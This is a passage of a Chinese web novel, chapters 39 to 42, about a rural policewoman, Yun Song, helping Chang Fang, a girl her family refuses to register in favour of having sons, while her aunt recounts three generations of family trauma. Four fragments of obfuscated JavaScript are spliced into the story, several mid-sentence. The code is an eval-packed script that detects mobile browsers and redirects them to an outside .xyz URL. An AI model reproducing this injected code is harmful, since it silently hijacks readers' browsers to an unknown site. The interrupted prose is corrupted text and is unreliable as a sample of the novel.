她在路上遇到了梅强的家人,对方和她打了招呼,脸上带着尴尬,却没有恨意。 云松思考片刻便懂了。 对于这样贫苦的地方,大家其实并没有那么多的精力放在情绪上,对于绝大多数人来说,生存才是第一位。 她从村支书家拿到了蝉蜕,装肥料用的大袋子装了一大袋,里面是每家人分开装的,虽说这么大一袋,但却不重。 云松扛着这个袋子,回到了村口。 “这是什么?”佟锦很好奇。 云松打开了打开,满足她们的好奇心。 “蝉蜕?” 常芳也看到了,说道:“拱嘎子壳壳!” 云松这才知道,老麻村的人把蝉的幼体蝉蛹叫拱嘎子,嘎子估计是嫌蝉吵,“拱”估计是说蝉是从土里拱出来的。 “我以前也捡了很多。”常芳说道。 云松道:“卖到钱了吗?” “没有。是镇上的人骗人。” 云松道:“这个能卖钱,但镇上药店可能是饱和了,这些等我们下一次回城里,卖去城里药铺。” 常芳眼睛一下子就亮了:“真的吗?我的也可以卖钱吗?我也有好多!” 她说完以后才想起来,人又低落了下去:“在二姨家里。” 当初镇上听说了这个壳能够卖钱,几乎所有人都在找,常芳自然也在找。 她也有一大包。 “没事,等后面再去拿。”云松说道。 常芳点了点头,可一路上,就看到她跑得飞快,在道路两边左看看右看看。 “在找什么呢?” “在找蝉蜕!”她刚才听佟姐姐说了,这叫蝉蜕。 “这个季节应该没有了。”云松说道。 常芳点头,但依旧到处瞅瞅。 她们走到下面的竹林时,云松就看到常芳一个箭步跑了出去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834011|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“常芳?” “这里也有蝉蜕!”常芳说道:“我今天在这里看到过!” 云松让唐朝和佟锦先走,去前面的猫头山歇脚,她也跟了过去,看看竹林的蝉蜕。 “找到了!”常芳眼睛很尖,很快就在一堆竹叶中看到了一束小花。 云松走了过去,没有看到蝉蜕,常芳跪在地上,拿了一根棍子在撬土。 云松定睛一看,那里有一丛很小的花,花的梗有点像珊瑚菌,常芳很快就把那束小花从土里掏出来。 “警察同志,这个蝉蜕洗干净了能卖钱吗?” 云松一看,这一丛小花花的下面是蝉幼虫。 云松对中药材很了解,刚才只看到那一束小小的花没有认出来,现在看到下面的蚕幼虫才认出来这是什么。 “这不是蝉蜕。这是金蝉花。” “啊?这是花吗?”常芳问道:“那不能卖钱吗?我家里的蝉蜕都是这样的。”蝉蜕一般都固定了几个点,她那个时候寄人篱下,哪里敢跟大人抢,但她很聪明,很快发现这些蝉都是从地下钻出来的,所以她经常去翻那些地,很快就发现了这种蝉蜕。 “这个更贵,准确地说,这不是花,这是蝉幼虫被真菌感染后死亡形成的虫菌复合体。” 云松踩在竹林里,看着这个金蝉花,想起了金蝉花的形成过程。 她知道在她们脚下,一个在黑暗中安静沉睡的蝉蛹,拱到了土地深处,它的种族基因让它进入土壤,躲避寒冷,等待来年破壳而出,享受阳光,享受风和树叶。 很快,土壤中的它无法控制自己的身体,它的身体仿佛被什么控制一般,开始拱土,开始往上去,它并不知道自己身上发生了什么。 很快,蝉蛹到达了离地面只有五厘米的位置,它停了下来,身体抽搐了几下,很快就死了。 在它不远处,同样的深度,另一个蝉蛹已经完全死去,人类称为虫草菌的生物吸干了蝉蛹所有的生命,长成了新的生物。 尽管这个新的生物看着和蝉幼虫一模一样,可它已经不是那个渴望从土里爬出来,在树上享受风和阳光的蝉了。 常芳听着警察同志说了这个过程,心里涌上了一种无法言说的悲哀。 她自己也说不清楚为什么,只觉得难受。 但这种难受没有持续太久,因为警察同志们带着她们进了同林镇初中! 警察同志住在初中宿舍里,这个有些艰苦的环境,对常芳来说,这是她做梦都不敢梦到的地方。 “我和妹妹也住在这里?” “对,这段时间,你们两跟我们住在这里。” 常芳看着这个寝室,楼上都是初中生,外面不远处就是初中教学楼,她刚才经过的时候,里面都是读书声。 常芳心跳得非常快,原本妈妈不认她,不给她上户口的事情,她都不觉得难过了,她心里产生了一个念头,那……她妈妈一直不认她也挺好的! 旁边的警察还在安慰她:“别怕,学校这边已经同意了。” 常芳抹了抹眼泪,喜极而泣。 39.她们说我能诅咒人(八) 第三十九章 常芳和欢欢被警察带走了。 常芳妈有些发懵,警察怎么能把人孩子带走?尤其是欢欢,欢欢才六岁…… 她们要把人带去哪儿?还会还回来吗?会不会……会不会不还给她们了?可她也不能承认两个孩子是自己的,到时候大姐了,大姐去认行不行? 她男人回来的时候,她把这件事说了。 “这可怎么办?要不要让我大姐去同林镇找警察,把两个孩子认下来?”她迫切希望男人能够安她的心,分担她此刻的难过和焦虑。 “你大姐那个脾气,她会去?” “我大姐就是脾气不好,她人很好,你想想,她帮我们带孩子带了这么久,没有功劳也有苦劳了,你别在背后说这些。”她不想和男人吵架,于是继续问:“你说警察会不会不把孩子还给我们了?” “你就是想东想西,她们是警察,不是土匪,也不是人贩子,能把人卖了吗?不把娃儿还给我们,她们自己养吗?”男人完全不当一回事,他可太清楚了,无非就是吓唬一下她们,也就只有他屋头这个人才被吓唬住。 对于男人这不耐烦的话,常芳妈心里也有气,但感觉也是自己的错,毕竟她男人也没说错什么,于是她也就不说什么了。 晚上,男人已经睡着了,常芳妈睡不着,她还是忍不住想起这两个女儿。 常芳是她的第一个孩子,虽说生常芳的时候,吃了很多苦,被婆子妈嫌弃,被自己男人嫌弃,可那个时候,她看着常芳,也有觉得想要亲亲她的脸蛋的时候。 有些时候,她受了气,再看看这个让自己受气的女儿,看她什么都不知道的样子,也会忍不住狠狠地掐她,等她瘪着嘴巴哭了起来,她又把她抱起来,一抱一哄立马就不哭了,真好哄。 那个时候,小婴儿的常芳最乖了。 哪怕隔了这么多年,她还是记得常芳第一次叫她妈妈的时候,那是一种很奇妙的感觉,她也记得当时农忙,她要去地里干活,常芳被她放在地里,她一个转头,常芳就站起来了,手里抱着水壶,额头上都是汗水,喊她妈妈喝水。 也不知道为什么,两岁的她怎么就知道心疼妈妈了。 是啊,两岁的常芳都会心疼自己这个妈妈,可现在,长大了的常芳怎么变成了这样? 她想起了现在的常芳,想起她上一次去,结果这个孩子赌气,不肯见她。 她又想起常芳把自己说的话当做耳边风,想起她又在自己怀了孩子的时候回来,这不是故意害她吗? 这个大女儿是不是来讨债的!她想起这些就胸口疼,别人的女儿越长大越懂事,对妈妈越好,怎么到了她这里,就变成了讨债鬼了! 她生个儿子出来,不只是为了张家,常芳也有好处,常芳有了弟弟,以后就算是嫁人了,也能有个依靠啊! 想到这里,想到大女儿的不听话,这一切带来的愤怒慢慢冲淡了心里的难受。 常芳那个脾气,让她跟着警察一段时间也是好事。 常芳妈不再去想这些事情了,不管怎么说,她的首要任务是要先把儿子生下来再说。 —————————————————— 初中生的晚自习结束在九点多,那个时候,欢欢这个小孩子已经睡了。 晚自习下课,整个学校的热闹从教室慢慢转移到学生宿舍来。 常芳爬了起来,她伸着头,看着外面从教室里回来的女生们。 她们这边是女生宿舍,过来的自然都是女学生。 常芳痴痴地看着她们,这些都是考上初中的女娃子。 她所在的老麻村距离雨兰镇比较近,通常赶集都是去雨兰镇,雨兰镇也有一个初中,但是前两年才建,所以雨兰镇那边的家长更愿意遵从过去的习惯把孩子送到同林镇初中。 常芳在那里,也有听说过谁谁家闺女去同林镇初中读书了,她第一次听说的时候,十岁,她那个时候甚至连小学都没有读。 那个比她大两三岁的女孩,就去同林镇初中读书了,那个时候,她很羡慕,觉得人家的命好。 那个女孩虽然说也是老麻村,可人家是老麻村三组,距离河坝有点近。 有一次常芳去河那边打柴,回来的时候路过了那家人。 她当时见门是关着的,背上的柴太重了,肩膀痛,她便在人家门前不远处的梯坎上放背篓,坐下来休息。 那家人正好回来了,一直喊她过去喝水。 她们也很累,满头都是汗水,依旧乐呵呵地喊她喝水。 常芳那一次去喝了水,她心里甚至觉得那水都是甜滋滋的。 她对这家人印象很好,后来听大姨说,这家人生了两个孩子,都是女儿,虽说大女儿考上了初中,但还是可惜了不是男娃。 大姨说这些事情的时候,苦着一张脸,她刚骂完她婆婆老不死,她嘴巴里喷着对所有的人的不满意,对一切事情的不如意,常芳也不明白大姨那干瘦的身体里怎么能装下那么多的仇恨? 那个时候,常芳心里就想起了生了两个女儿的那一家人。 那家人看上去对一切都没有仇恨,路过一个打柴的人,她们都要喊她来喝水,还问她是哪家的女儿,叫她回去的时候要注意安全,说是上面松树林那段路这段时间有蛇。 她当时不明白为什么,可她心里时常会想起这件事。 于是,当她知道自己命好以后,当她回到家里,看到又是愁眉苦脸的母亲后,她便想起了那家人,她开始觉得若是她家里所有人生了她和欢欢,就像那家人那样,给她们两姐妹上户口,因为她是女娃,欢欢和她年纪差得又多,她和欢欢都能上户口,不需要罚款,然后她们家也学着那家人那样,把她们好好养着,让她们去读书,当然也不会总是苦着一张脸了。 常芳看着从初中回来的女学生,看着她们去洗脸,心里想,原来这就是上了初中的生活。 常芳只是在旁边看着,她心里就有种想哭的冲动。 晚上,常芳转过来转过去,心里头想的都是学校的那些女生。 同林镇初中靠着河流,后半夜听不到学生们的声音了,但能够听到外面河水流过的声音。 常芳听着水流声,慢慢入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840492|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦。 她梦到自己变成了一只蝉幼虫,就在大姨家门口的那棵柚子树上,妈妈蝉把她和好多好多幼虫一起生在那里。 她听到妈妈蝉在说:“你们要先回到土里去,在地下好好活着,等到有一天,到了时间,你们就会从土里爬出来,脱了壳壳,这个壳壳留给人卖钱,你们就又可以爬到树上来了。” 她们很快就爬回了土里,把自己埋了起来。 起初,大家在土里,每天还能聊天—— “你还有多久就能出土了?” “我壳壳好像硬了很多。” “你们帮我看看,我是不是要蜕壳了?” “我脱的这个壳壳,我想留给那个叫常芳的女娃子。” 常芳在梦里又好像变成了自己以前的样子,听到这句话,心里头特别开心。 可是,不知道怎么回事,突然土好像变得更冷了。 不知道从哪一天开始,周围的兄弟姐妹都开始变了。 它们不再觅食,不再畅想回到树上,不再畅想阳光和微风,它们开始不吃不喝,待在原地,它们的身体看上去并没有受伤,也没有变化。 “你们在做什么,我们还要出去的,我们还要去树上!” “为什么你们突然就变了?” “你们不想去树上了吗?” 而这个时候,旁边已经有其他的同伴开始破土,蜕壳,它们要去树上了…… 等等我啊!常芳也开始拱土,她也想出去,可是拱着拱着,她开始动不了了。 梦里,她一个人在黑暗潮湿的泥土里,不断地哭,不断地哭。 直到哭醒。 她脸上还有眼泪,妹妹一直在给她擦眼泪。 常芳缓了一会儿,这才意识到自己做了一个关于金蝉花的梦,很奇怪,怎么会做这种梦,还在梦里一直哭。 她擦了擦眼泪。 “姐姐,你是不是又梦到妈妈了?”欢欢问道。 欢欢小的时候梦到妈妈就容易哭,欢欢觉得自己现在长大了,因为现在梦到妈妈,她不会哭了。 常芳道:“没有梦到妈妈。” 这个时候,常芳在听到外面的声音。 “姐姐,她们好早啊,她们现在就要起来上学了。” 欢欢不是被自己姐姐哭醒的,她们住的地方是女生宿舍的一楼,学生们住的楼上,早上学生们起来,洗漱,换衣服,然后一大群学生是叮叮砰砰地从上面跑下来。 常芳赶紧出去,其实天微微亮,学生们如同水流一般涌向了教室,很快便是朗朗读书声。 她一下子就想起了昨天晚上的梦。 她低下头,看到的是自己破了一个洞露出了小脚趾的胶鞋。 她今年十七岁了。小学只断断续续地上了几年…… 她有点明白了自己为什么做那个梦了。 可是……她那么好的命,常芳又想起了自己捡到的钱,想起了自己原本以为警察会抓自己,结果警察说会想办法帮她解决户口问题。 她想,哪怕是梦里的她,也还可以再往上拱一拱土! 40.她们说我能诅咒人(九) 第四十章 云松新的一天是以晨起晨跑锻炼作为开始,她跑步回来,看到的就是常芳两姐妹,两姐妹已经在探索学校了。 昨天晚上吹了大风,学校操场上都是树叶,这两姐妹在扫树叶。 云松正要去和两姐妹说话,外面就有人在喊冤。 “警察大人!警察大人!” 这里的人了解的更多的还是各种戏文里面的官府办案,尽管她们的人情世故处理得非常好,七大姑八大姨甚至是路过的人,交流起来都没有问题,可面对警察,大家依旧缺少合适的沟通的方式。 云松每次听到,都有种旧社会和新时代交汇的心酸感。 常芳两姐妹也听到了,比起云松,常芳一下子就听出来了,这是三姑的声音。 她待在原地,不愿意过去。 原本苦大仇深的人,现在倒是赔着笑,过去总是苦着脸的人,笑起来,脸上的那些皱纹都在打架。 “警察大人,你刚去山里吧?我有点事想找你,不知道方不方便。” “叫我云松就行,叫名字如果不习惯,也可以叫警察同志。” 云松对她并没有印象,当初云松只去了大姨和二姨家,自然不知道这是常芳的三姑。 常芳听到了是三姑,拉着妹妹赶紧躲了起来。 “姐姐,是三姑。” “嘘,别说话,知道吗?” 三姑往里面看了看,没有看到人,便对云松说道:“我是常芳的三姑,我昨天晚上听我娘家那边的人说,常芳和欢欢被带走了,想来问问情况。” 她虽说没有明说,但心里头也觉得哪有警察把人孩子带走的。 云松观察着她的神色,道:“这也是没办法的事情,根据《中华人民共和国户口登记条例》,为孩子申报户口是父母应尽的义务,这也是确立孩子的社会身份法律身份,但李冬秀并不承认这是她的孩子,也不愿意为她申报户口,为了事情能够更好地解决,只能先把孩子带回来。” 李冬秀?三姑愣了一下,才反应过来,这是自己弟媳妇儿的名字。 “那……她们一直不认可怎么办?总不能让孩子无家可归吧?” 三姑说起这件事,心里头就跟猫子抓一样难受。 她今天出来的时候都恨不得打自己两巴掌,自己怎么就这么奴才!又要去管这一家子的事情。 她在娘家的时候,就没有人把她当人看,她妈上面生了两个儿子,下面还有一个儿子,她是老三,家里唯一的闺女,可她从小就记得她妈讨厌她,一点事情不对,就拿棍子抽她,她不能哭,哭了会被打得更狠,她记得这一次她被打到打哭嗝,她妈不允许她打嗝,她那一次差点活活憋死。 出嫁的时候,把话说得最狠的是她,说张家人死光了她都不会去看一眼。 常芳是她弟弟的女儿,她那没心肺的弟弟弟媳妇把这孩子不当人看,她上前去凑什么热闹?她一想到自己帮她们处理这么个烂摊子,以后常芳长大了,又回去帮衬这一家子,她心里就难受。 她这辈子啊!真的是越想越生气。 她打了自己两巴掌,扛着锄头往山上走,走着走着又想起了常芳可怜啊,爹不疼妈不爱,和她小时候一样,她心里头更加难受了,最后还是来了镇上。 常芳在另一边,她心里头很不是滋味。 她本来不想三姑来,一方面因为三姑实在是脾气不好,她来了这一趟,后面估计又要骂她很久。 另一方面,三姑来了也没用啊,三姑又不可能给她上户口。 可是,当三姑赔着笑跟警察说话,问她的事情时,她忍不住嘴角上扬,三姑……三姑就是平时喜欢骂她,真有事,三姑对她还是好的。 云松这边可算是遇到了一个能够沟通的人了。 她也很珍惜这个人,把人请到了办公室去。 云松她们的办公室就在自己宿舍,这也是没办法,现在条件不好。 云松给人倒了茶,说道:“常芳这件事我心里头也看不懂,还得向您请教一下。” “您说。” “常芳家里究竟是怎么回事?” “什么怎么回事?” 云松道:“怎么会重男轻女如此严重?” 同林镇比起平城那边,的确有些重男轻女,可也还是有下限,云松这几天也搞清楚了这里人的操作。 说是独生子女政策,但整个同林镇独生子女少得可怜,云松目前就只知道梅悦一个娃是独生女。 其他家庭,孩子都是两个起步。 一般第一个孩子是儿子,还是会再生一个,希望凑两个儿子,但如果第二个是女儿,也不会有过激行为。 第一个如果是女儿,这个女儿通常会上户口,第二个是儿子的话,大概率就不生第三个了。第二个如果是女儿,那继续拼儿子,直到儿子出生,如此一来,中间就会有女儿不给上户口。 今天唐朝和佟锦就准备去督促这些人给孩子上户口,并要求这些父母把适龄儿童送去学校。 第一个女儿都不给上户口的,只有常芳家。 三姑本来心里就有气,平时也没地方说现在来了个警察,话里话外也是不理解她娘家的事情,她心里头有些痛快,也不管什么家丑不家丑的,直接说道:“这件事啊!” 她想说个罪魁祸首出来,结果发现——“张家人都脑子有病!” 三姑说完又觉得不对,于是补充道:“也不全是,我奶奶就还好,我小时候,我妈打我,我奶奶就会拉架,不让她打,说是屋头三个男娃了,就这么一个女娃子,打啥子打。可我奶奶好人不长命,只活到八十岁,人就没了,要不然还能压一下这些人。” 云松跟着叹了一口气。 三姑继续说道:“我爹和我妈,两口子一天到晚着了魔一样,一定要生个儿子,我爹是觉得只有儿子才能算他的娃儿。我妈,我妈在想什么我也不知道,但在她那里,儿子就是个宝,女娃儿……她特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849188|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨女娃儿,我小时候,她没有少打我骂我,不给常芳上户口,也是她迷信,说是常芳命太贵了,她在张家,张家就不会有男贵命再来投胎,所以要把常芳养在外面。” 云松心里头觉得奇怪,问道:“你们的妈妈有兄弟姐妹吗?” 三姑想起了过去的一件事,那是她很小的时候,有一天下大雨,父亲去看水田情况,母亲带着哥哥们坐在火坑旁,她妈这辈子第一次提到了她们的外婆。 “你们外婆是个苦命人,没有生出儿子来,结果你们外公一死,她就被逼着重新嫁人了,换了一笔钱给家族,而我没有地方去,只能给人当童养媳。” 她的母亲,也就是常芳的奶奶,说着说着红了眼睛,三姑现在都想扇自己两巴掌,因为她还记得那个时候,她很心疼妈妈,就想要给她拿点布,擦擦眼泪,结果,她妈回过头就就对她教育道:“还是你幸福,有两个哥哥,还有一个弟弟,以后你要对哥哥弟弟好。” 她那个时候不懂,怎么就变成了这样。 现在,她告诉警察这件事的时候,她突然知道了答案:“我妈觉得,当时我外婆要改嫁是因为她是女儿,如果她是男孩,就不用改嫁了。” 云松写着这家人的事情,大概能够想象,在那个时候,对于一个失去了母亲只能当人童养媳的女孩来说,一切都太过于难过了。 也许那个时期,女童就把母亲的离开归结于自己不是儿子。 于是,她长大以后,需要不断地生儿子来安抚自己的情绪。 云松觉得如果是这样,那生儿子就是饮鸩止渴。 老太太出现的问题在于她作为女儿时,因为自己不是儿子,所以导致母亲被逼改嫁。 这个问题核心是“她不是男人”。 无论她生多少个儿子出来,她依旧不是男人,她生出的儿子,越是压迫她的女儿,越是证明女儿无用,便越是重复了当年发生的事情,可她不知道自己内部的恐惧最本质的问题是什么,于是,最后她的恐惧变成了对生孙子的极致追求。 极致的追求带来的是进一步压迫自己家族内部的女儿孙女,而女儿孙女被进一步压迫的时候,由于年幼的儿童面对大人无能为力会再一次加重她曾经作为女儿的无能为力。 云松也只是大概估摸了一下,具体情况还得再探索。 而此时,常芳带着妹妹蹲在宿舍外面,偷听她们说话。 如果是以前,常芳干不出来这件事,可是现在,她实在是太害怕在自己不知道的时候,别人就决定了自己接下来的归属了,比起这份害怕,偷听对她来说就不算什么了。 她听到了自己奶奶的过去,常芳想起来奶奶现在的样子,她脑海里又想象着奶奶的小时候—— 她那个时候脑子里都只有生儿子吗?她有像自己这样,想象过去镇上看看,去城里看看吗? 后来什么时候就变了? 她无缘无故地想起来了地里的蝉幼虫,无声无息地,突然就变了。 41.她们说我能诅咒人(十) 第四十一章 有些事情,只要打开一个口子,整个人就停不下来了,常芳的三姑,也就是张春雪开始说她们家那些破事。 主要是她平时找不到人说这些事情。 她的生活中能和谁说呢?她没有亲姐妹,有的是三个兄弟,她能跟他们说,我觉得咱们爸妈更喜欢你们,不喜欢我? 村子里一起长大的女娃子,各自嫁去了不同的村子,一年就只能见到一两次,见面也不会说这些丧气的事情。 她婆家这边,更是无人可说,她的娃儿们,和她不亲,她知道为什么,她脾气不好,总是看不惯这两个孩子,她也不知道为什么,其实她也想和两个孩子好好相处,可她控制不住自己的脾气。 现在,她遇到了一个城里来的还是警察的人,对方还愿意听她说这些,而且对方是站在她这边的,她真恨不得把自己这辈子的苦水都倒出来。 “我弟弟那个人,从小就是个心眼坏的,他是家里的老幺,百姓爱幺儿,我妈最喜欢他,我那两个哥哥当然就不高兴,私下里打他,他就跟妈说,是我打了他,害我挨了一顿打,后面长大了,他要娶媳妇儿,妈就过来找我借钱,生了女儿,也要送来让我带……” 她说着,露出了一个歉意的笑:“看我,都四十几岁了,还说这些,警察同志肯定觉得我这个人很怪,跟常芳一个小辈计较这些……” “你不怪,你只是很难受,一方面觉得常芳很像你小时候,你很想帮帮她,另一方面她又是你弟弟的孩子,你帮得越多,你弟弟就又坐享其成了。你有情绪很正常。”云松代入一想,叹了一口气。 “是这个道理!就是这个道理!”张春雪激动了起来。 “她们家其他人有能讲通的吗?” “我弟妹也不行,你别看她面上老实,实际上也是个聋昏人,她是姐妹三人,没得兄弟,她妈生她的时候就没了,她大姐二姐把她拉扯大,结果,她要生儿子,就把自己的女儿又往大姐二姐家送,让她们继续帮忙养,她跟我弟弟,真的是什么锅配什么盖。” “他们俩这个性格,有没有什么办法,能让她们给常芳和欢欢上户口?” “这个肯定没有。”张春雪太了解自己娘家人了,“警察同志,你在同林镇街道这边住的比较久,对于我们山里不够了解,要是常芳和欢欢上了户口,她肚子里怀的又是儿子,那这个儿子要交至少一千块钱的罚款,如果是女儿,也是这个数,他们怎么可能干。” 一千……这对于山里的人来说,的确不是小数目了。 “我们那里啊,有点良心的人,就会把女儿的户口上在亲戚家。没有良心的那些人,直接就不给女儿上户口……” “那读书怎么办?” “女娃子都是在村校里面读书,村校这种地方,不会管那么严,你把孩子送进去,给了书本费就行,但不能考初中,不过这样的女娃子,也考不上高中。小学读完了识字了,再混两年就可以嫁人了,嫁了人,婆家那边就帮忙上户口了,然后,这种事又要被婆家念一辈子。”这种事情,她就见过好几次了。 而常芳,现在就在这条路上。 云松听着都觉得头疼,人怎么能苦成这个样子。 云松,一个城里的警察,在城里处理最多的问题要么是夜市斗殴事件,要么就是家庭矛盾,邻里纠纷。 此时此刻,她面对的是一个庞大的复杂的农村社会性问题。 她没有培训过,没有经历过。 云松脑子里出现了好几种方案,没有一个能行。 “要不然……还是让我把这两姐妹带回去养吧。”张春雪说道。 这……大家相信警察能抓杀人犯,抓小偷,可真到了家务事,同林镇这个地方,依旧是传统思想——清官难断家务事。 云松思索片刻,说道:“这件事我肯定会管到底,我还会去找她们做调解,两次后,这个案子会到法院起诉。” “这……”对于一个没有去过城里的妇女来说,法院之类的,这是她想象不到的画面。 云松便说道:“到时候会在初中操场这边设流动法院,可以让乡亲们来看打官司。” 张春雪这一听,立马就懂了,这……不就跟搭戏台差不多吗?只是戏台里包大人判案是假的,现在要弄一出真的了? 她光是想想都觉得很是热闹,她也想去凑这个热闹,这辈子还没见过这种场面呢。 “到时候大家都可以来看吗?”张春雪问道。 “都能来。”村民们来看热闹,也是一种普法宣传。 云松就猜到了对方这个反应。 云松从第二个案子开始,就想要干这件事了。 公安机关,检察院,法院离这里太远了,村民们缺少法治观念,云松便思考着能不能申请法院下乡。 说实话,就同林镇这个爱看热闹的性格,在镇上办几天移动法院,整个同林镇能有看电影的热情。 “常芳的妈妈怀孕了,这件事后面不再和她对接,到时候只找她男人。”云松说道:“你回去的时候,看看能不能把这个消息传出去。” 之前云松好几次去,都没有遇到常芳的父亲。 张春雪理解了一下,警察让她去她弟弟面前说这个坏消息? 成啊。 “这个没问题。” 张春雪心里头一直想着这个事情,她回去走路都快了很多。 路上,她遇到了自己的一对儿女,两个人是出来打柴。 和她几乎没有兄妹情谊不一样,她的两个孩子和她不亲,但是她们关系很好,经常一起干活。 张春雪远远远地看到自己的两个孩子,见她们在别人家的山坡上挖野菜,她心里头就有气。 这股气来得莫名其妙,反正就是不舒服,想要骂他们。 尤其是那两个娃儿还在装作没有看到她,一溜烟进了森林。 她更加生气了,可到底还有事情要做,现在就不计较了,等回家再说。 她很快就到了娘家,她妈一看到她就皱眉,说道:“哪儿来的稀客,我们这么点庙,怕是容不下大佛。” 张春雪看着自己的母亲,这没有什么缘由地对着自己皱眉,她第一反应不是生气,而是想起了自己对自己的孩子。 她这辈子都想同一个问题,她妈为什么那样讨厌她。 她什么都没做,她妈依旧讨厌她,她想起了自己的两个孩子。 “妈,你为啥子这么讨厌我?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853092|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 同林镇人很少对孩子说喜欢不喜欢的,父母的爱都是放在每天吃的饭里,去学校时带的午餐里,有些时候,半大的孩子跟着大孩子们一起去山里打柴,父母回家的时候,会专门去接。 张春雪从来没有体会过。 老太太愣了一下,似乎没有想过这个问题,也许这不算问题,她紧接着生气地说道:“胡说什么,我哪儿不喜欢你了!” 张春雪看着她,她没有想到对方这样说。 “你不是不喜欢我,你是恨我,你知道吗?每一次你用眼神剜我的时候我都在记着,每一次你把哥哥弟弟叫到了一边,偷偷给他们烧肉吃,不允许我有一点意见的时候,我也记着。” 老太太更加生气了,她仿佛才是最有道理的那个女儿这样的指责是无理的,是不孝! 张春雪站在这里,她心里依旧有着对母亲的不忍,可她还是问了。 “妈,我原本想不通为什么,难道就只是因为我是女儿?今天我看到我的孩子,我突然想明白了,我也不是讨厌我的娃儿,我是讨厌她们身上有我小时候看到的那些事情。” “妈,我记得我们小时候,你讲过你妈妈的事情,我想问问你,你是在恨我,还是在恨那个不是儿子,所以只能看着母亲被逼着出嫁的女儿?” 她以为自己的母亲会崩溃,会承受不住。 却不想,她的老母亲气得跳脚,一边找棍子要打她,一边数落她从小到大的不是。 “你问我为啥子不喜欢你?你哪点值得我喜欢,一天到晚好吃懒做,脾气也不好!一点用都没得,我为啥子要喜欢你!”她一边说一边要打张春雪。 张春雪想到自己对自己孩子的讨厌,又问了一次:“妈,你只要回答,你是在讨厌我还是在讨厌你自己?” “我就是在讨厌你这个背时鬼!” 算了。 张春雪想,也许弄错了,不过弄清楚了自己也行,她要回去,要少骂两个孩子了。 “那我这个背时鬼再跟你说一个背时的事情,警察说,如果你们不给常芳和欢欢上户口,到时候会有城里的法官大人来判案,整个同林镇都要看热闹。”张春雪说道:“而且,到时候是我弟出来承担。” 张春雪说完就走。 老太太看着女儿离开了,她依旧在原地骂骂咧咧。 可有些事情,只要拉开一个口子,一切都挡不住了。 这天晚上,老太太心口就疼,她又开始催怀着孩子的儿媳妇儿快点生儿子。 可这一次也没有用。 她依旧觉得难受,觉得心口疼。 她不懂自己为何如此难受,只觉得喘不过气来。 她没有把女儿的话当一回事,她依旧觉得自己是对的。 本来就是这样,如果不是因为她不是儿子,她妈也不会改嫁。 她必须要有儿子,只有有了儿子,才能不被欺负,不对,还要有孙子,她必须还要有孙子,她再一次在心里坚定自己没有任何错。 可她第二天就开始病了,心口痛后,吃不下去东西,嘴里哎哟哎哟地喊着,她好像一刻不停地需要喊点什么。 无论她嘴上多不肯承认,原本靠着有了儿子就好了的泡沫,还是被戳破了。 42.她们说我能诅咒人(十一) 第四十二章 常芳听得很认真,她自己都觉得不可思议,过去,无论是大姨还是三姑,哪怕是那个时候最喜欢的二姨,这些大人们聊天时,她从来没有耐心去听。 现在常芳和妹妹蹲在窗户外面,妹妹已经在开始玩地上的茅草,常芳却侧着耳朵,捕捉着里面两个人说的每一个字。 对于过去的她来说,大人无论说了什么都不能改变她的生活,她自然也不好奇。 可现在,她脱离了原本的日子,又还没有进入到新的人生中,她自己站在自己的人生路上,她心里头有了自己好像能决定自己人生的感觉,而这个时候,她自然感觉到了自己对外界信息的缺失,迫不及待地想要掌握更多的事情。 她把三姑说的话都听进了心里,尤其是三姑对她父亲的评价,对她母亲的评价。 “反正都不是好东西。” 常芳听着听着,心里有种很不一样的感觉,她父母是这样的人啊,怎么跟村里的那些她认识的二流子差不多? 过去,在她心目中,哪怕是她也有怨恨,可总觉得父母是聪明的,是厉害的。 常芳眨了眨眼睛,开始思考这是为什么?明明父母一直就是这两个人,她们不养她,把她扔到亲戚家,明明她上户口可以不要钱,可她们不给她上户口,哪怕就这样,每次回去的时候,她们依旧会觉得她不够听话,不够懂事,给她们添麻烦了,而过去的她,每次也被牵着鼻子走了…… 为什么? 年轻的常芳脑海里没有了那些没日没夜叫唤不停的“去死”“怎么还不去死”的声音,她的脑子运转起来快了不少。 